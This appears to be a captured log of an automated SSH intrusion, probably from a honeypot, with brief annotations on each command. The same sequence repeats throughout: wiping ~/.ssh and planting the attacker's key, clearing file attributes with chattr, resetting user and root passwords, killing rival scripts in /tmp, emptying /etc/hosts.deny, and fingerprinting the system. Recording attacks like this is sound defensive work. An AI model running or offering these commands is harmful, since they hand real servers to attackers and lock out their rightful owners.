$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "user\nZb8KMOVoNyeW\nZb8KMOVoNyeW"|passwd|bash

$ Enter new UNIX password:

$ echo "user\nZb8KMOVoNyeW\nZb8KMOVoNyeW\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "facturacion\nswRFiaBK7pOt\nswRFiaBK7pOt"|passwd|bash

$ Enter new UNIX password:

$ echo "facturacion\nswRFiaBK7pOt\nswRFiaBK7pOt\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:lw2annirCeg1"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "eposta\n8oGrgEjUhkmR\n8oGrgEjUhkmR"|passwd|bash

$ Enter new UNIX password:

$ echo "eposta\n8oGrgEjUhkmR\n8oGrgEjUhkmR\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ uname -a // OS/kernel identification

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "hermes\nw1NAtizBblsg\nw1NAtizBblsg"|passwd|bash

$ Enter new UNIX password:

$ echo "hermes\nw1NAtizBblsg\nw1NAtizBblsg\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "sysadmin2022\nhsvjavBPACsZ\nhsvjavBPACsZ"|passwd|bash

$ Enter new UNIX password:

$ echo "sysadmin2022\nhsvjavBPACsZ\nhsvjavBPACsZ\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "1234\nx1IZoLb1SJiz\nx1IZoLb1SJiz"|passwd|bash

$ Enter new UNIX password:

$ echo "1234\nx1IZoLb1SJiz\nx1IZoLb1SJiz\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "phys\nxWEl8gzcsLLT\nxWEl8gzcsLLT"|passwd|bash

$ Enter new UNIX password:

$ echo "phys\nxWEl8gzcsLLT\nxWEl8gzcsLLT\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ uname -a // OS/kernel identification

$ uname -s -m

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo -e "123456\ne0ntEnBbFcHt\ne0ntEnBbFcHt"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\ne0ntEnBbFcHt\ne0ntEnBbFcHt\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo "root:6lbxqG2MBjGI"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ echo "root:O2fZvpfQpekL"|chpasswd|bash

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\nPvasxyGoTppL\nPvasxyGoTppL"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nPvasxyGoTppL\nPvasxyGoTppL\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "1\nE8webQZhEqEU\nE8webQZhEqEU"|passwd|bash

$ Enter new UNIX password:

$ echo "1\nE8webQZhEqEU\nE8webQZhEqEU\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ uname -sm && test -d /etc/systemd/system && echo systemd_ok; id -u; sudo -n true 2>/dev/null && echo sudo_ok || true

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "won\nxc1NJ9GiItKs\nxc1NJ9GiItKs"|passwd|bash

$ Enter new UNIX password:

$ echo "won\nxc1NJ9GiItKs\nxc1NJ9GiItKs\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ uname -a // OS/kernel identification

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:Mp0i3msm6mLZ"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "123456\nkIWA9u7Nb37O\nkIWA9u7Nb37O"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nkIWA9u7Nb37O\nkIWA9u7Nb37O\n"|passwd

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:uz8NEFT32FLB"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:lRhFng2Ntlnh"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "kwang\njU5eTEjlQ0yk\njU5eTEjlQ0yk"|passwd|bash

$ Enter new UNIX password:

$ echo "kwang\njU5eTEjlQ0yk\njU5eTEjlQ0yk\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

